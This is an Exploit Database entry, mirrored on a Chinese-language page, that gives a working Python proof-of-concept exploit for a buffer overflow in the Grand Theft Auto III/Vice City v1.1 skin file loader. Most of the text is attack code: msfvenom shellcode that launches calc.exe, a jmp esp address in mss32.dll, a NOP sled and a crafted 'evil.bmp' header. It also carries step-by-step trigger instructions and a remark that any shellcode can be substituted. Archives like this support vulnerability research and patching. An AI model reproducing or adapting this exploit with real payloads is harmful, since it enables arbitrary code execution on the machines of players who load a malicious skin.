Grand Theft Auto III/Vice City Skin File v1.1 – Buffer Overflow

• Exploit Database
• 132 阅读

• 作者： Knursoft
  日期： 2023-04-03
• 类别：

  • local
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/51223/
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  # Exploit Title: Grand Theft Auto III/Vice City Skin File v1.1 - Buffer Overflow # Exploit Date: 22.01.2023 # Discovered and Written by: Knursoft # Vendor Homepage: https://www.rockstargames.com/ # Version: v1.1 # Tested on: Windows XP SP2/SP3, 7, 10 21H2 # CVE : N/A   #1 - Run this python script to generate "evil.bmp" file. #2 - Copy it to [Your Game Path]\skins. #3 - Launch the game and navigate to Options > Player Setup and choose skin "evil". #4 - Buffer Overflow occurs and calc.exe pops up!   #msfvenom -p windows/exec CMD="calc.exe" buf =b"" buf += b"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64" buf += b"\x8b\x50\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28" buf += b"\x0f\xb7\x4a\x26\x31\xff\xac\x3c\x61\x7c\x02\x2c" buf += b"\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2\x52\x57\x8b\x52" buf += b"\x10\x8b\x4a\x3c\x8b\x4c\x11\x78\xe3\x48\x01\xd1" buf += b"\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3\x3a\x49" buf += b"\x8b\x34\x8b\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01" buf += b"\xc7\x38\xe0\x75\xf6\x03\x7d\xf8\x3b\x7d\x24\x75" buf += b"\xe4\x58\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b" buf += b"\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24" buf += b"\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f\x5f\x5a" buf += b"\x8b\x12\xeb\x8d\x5d\x6a\x01\x8d\x85\xb2\x00\x00" buf += b"\x00\x50\x68\x31\x8b\x6f\x87\xff\xd5\xbb\xf0\xb5" buf += b"\xa2\x56\x68\xa6\x95\xbd\x9d\xff\xd5\x3c\x06\x7c" buf += b"\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a" buf += b"\x00\x53\xff\xd5\x63\x61\x6c\x63\x2e\x65\x78\x65" buf += b"\x00" #any shellcode should work, as it seems there is no badchars   ver = 0 #set to 1 if you want it to work on GTA III steam version   esp = b"\xb9\xc5\x14\x21" #mss32.dll jmp esp bmphdr = b"\x42\x4D\x36\x00\x03\x00\x00\x00\x00\x00\x36\x00\x00\x00\x28\x00" #generic bmp header   payload = bmphdr payload += b"\x90" * 1026 if ver == 1: payload += b"\x90" * 112 payload += esp payload += b"\x90" * 20 #padding payload += buf   with open("evil.bmp", "wb") as poc: poc.write(payload)